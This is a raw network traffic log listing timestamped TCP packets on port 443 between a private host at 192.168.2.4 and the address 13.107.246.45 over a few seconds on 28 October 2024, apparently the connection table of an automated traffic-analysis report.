Oct 28, 2024 06:27:56.677602053 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.723113060 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.723221064 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.723226070 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.723273039 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.723352909 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.723352909 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.723402023 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.723429918 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.763622999 CET	49765	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.763653994 CET	49764	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.763660908 CET	443	49765	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.763736963 CET	49765	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.763740063 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.763807058 CET	49764	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.764075994 CET	49765	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.764094114 CET	443	49765	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.764179945 CET	49764	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.764231920 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.765574932 CET	49766	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.765597105 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.765666962 CET	49766	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.765788078 CET	49766	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.765801907 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.766699076 CET	49767	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.766721010 CET	443	49767	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.766778946 CET	49767	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.767338037 CET	49768	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.767364025 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.767410994 CET	49767	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.767429113 CET	443	49767	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.767499924 CET	49768	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.767586946 CET	49768	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.767594099 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.492065907 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.492940903 CET	49768	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.492964029 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.493477106 CET	49768	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.493484974 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.507916927 CET	443	49767	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.508474112 CET	49767	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.508507967 CET	443	49767	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.508934975 CET	49767	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.508941889 CET	443	49767	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.511092901 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.511514902 CET	443	49765	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.511548996 CET	49766	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.511593103 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.511940002 CET	49766	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.511955023 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.512111902 CET	49765	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.512121916 CET	443	49765	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.512538910 CET	49765	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.512545109 CET	443	49765	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.515841961 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.516083956 CET	49764	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.516102076 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.516412973 CET	49764	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.516424894 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.619940996 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.619956017 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.620081902 CET	49768	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.620091915 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.620203018 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.620248079 CET	49768	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.620326996 CET	49768	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.620346069 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.620357037 CET	49768	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.620363951 CET	443	49768	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.623258114 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.623270035 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.623339891 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.623471022 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.623481035 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.636532068 CET	443	49767	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.636678934 CET	443	49767	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.636743069 CET	49767	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.636837006 CET	49767	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.636856079 CET	443	49767	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.636873007 CET	49767	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.636879921 CET	443	49767	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.639193058 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.639224052 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.639301062 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.639420033 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.639427900 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.643872023 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.643927097 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.644021034 CET	49766	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.644052029 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.644074917 CET	443	49765	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.644094944 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.644109964 CET	49766	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.644164085 CET	49766	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.644293070 CET	443	49765	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.644295931 CET	49766	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.644295931 CET	49766	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.644328117 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.644351006 CET	443	49766	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.644360065 CET	49765	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.644382000 CET	49765	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.644399881 CET	443	49765	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.644412994 CET	49765	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.644418955 CET	443	49765	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.647867918 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.647877932 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.647945881 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.648092985 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.648103952 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.648170948 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.648191929 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.648246050 CET	49764	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.648262978 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.648309946 CET	49764	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.648313999 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.648363113 CET	49764	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.648662090 CET	49764	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.648682117 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.648708105 CET	49764	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.648720980 CET	443	49764	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.650285006 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.650315046 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.650397062 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.650518894 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.650532007 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.652365923 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.652394056 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:57.652462959 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.652576923 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:57.652590990 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.386518955 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.390734911 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.391405106 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.395881891 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.395896912 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.396399975 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.396405935 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.396691084 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.396707058 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.397063017 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.397094011 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.397098064 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.397352934 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.397361994 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.397413015 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.397449970 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.397769928 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.397773981 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.397844076 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.397861958 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.399688959 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.399990082 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.399997950 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.400362015 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.400367022 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.522288084 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.522433996 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.522540092 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.522912025 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.522924900 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.522943974 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.522949934 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.522989035 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.523144007 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.523757935 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.523757935 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.523757935 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.524044991 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.524240017 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.524296045 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.524557114 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.524570942 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.524580956 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.524586916 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.526019096 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.526081085 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.526096106 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.526115894 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.526159048 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.526194096 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.526407957 CET	49775	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.526454926 CET	443	49775	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.526515961 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.526521921 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.526530027 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.526531935 CET	49775	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.526534081 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.527195930 CET	49775	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.527224064 CET	443	49775	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.527296066 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.527311087 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.527369022 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.527406931 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.527420044 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.527477980 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.527488947 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.528634071 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.528651953 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.528722048 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.528847933 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.528856993 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.531892061 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.532030106 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.532084942 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.532098055 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.532102108 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.532109976 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.532113075 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.533762932 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.533768892 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.533848047 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.533962965 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.533974886 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:58.836441040 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:58.836487055 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.261811018 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.262430906 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.262444019 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.262940884 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.262947083 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.269927979 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.270231009 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.270248890 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.270550013 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.270556927 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.276055098 CET	443	49775	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.276335955 CET	49775	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.276360035 CET	443	49775	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.276602030 CET	49775	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.276613951 CET	443	49775	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.306210041 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.306586981 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.306585073 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.306600094 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.306910038 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.306914091 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.306941032 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.306951046 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.307595968 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.307600021 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.391257048 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.391457081 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.391525984 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.391709089 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.391709089 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.391726017 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.391733885 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.398637056 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.398785114 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.398839951 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.399929047 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.399936914 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.399946928 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.399951935 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.406939030 CET	443	49775	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.407187939 CET	443	49775	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.407255888 CET	49775	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.422745943 CET	49775	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.422772884 CET	443	49775	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.422799110 CET	49775	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.422813892 CET	443	49775	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.432674885 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.432708025 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.432826996 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.433866024 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.433888912 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.433975935 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.437947035 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.437975883 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.438034058 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.438447952 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.438460112 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.438838005 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.438863993 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.438910961 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.438925028 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.442131996 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.442212105 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.442271948 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.442313910 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.442322969 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.442332029 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.442338943 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.443661928 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.443856001 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.443919897 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.443990946 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.443996906 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.447969913 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.447993040 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.448079109 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.448220015 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.448245049 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.450983047 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.451004028 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:59.451066017 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.451205015 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:59.451215982 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.160729885 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.161376953 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.161396980 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.161766052 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.161772013 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.170151949 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.170512915 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.170522928 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.170929909 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.170934916 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.176285982 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.176609039 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.176625967 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.176990032 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.177000999 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.186254025 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.186553001 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.186563015 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.186891079 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.186897039 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.188936949 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.189268112 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.189300060 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.189670086 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.189682007 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.288203955 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.288364887 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.288521051 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.288521051 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.288521051 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.291282892 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.291371107 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.291462898 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.291582108 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.291601896 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.304114103 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.304364920 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.304538012 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.304703951 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.304704905 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.304723024 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.304743052 CET	443	49780	13.107.246.45	192.168.2.4
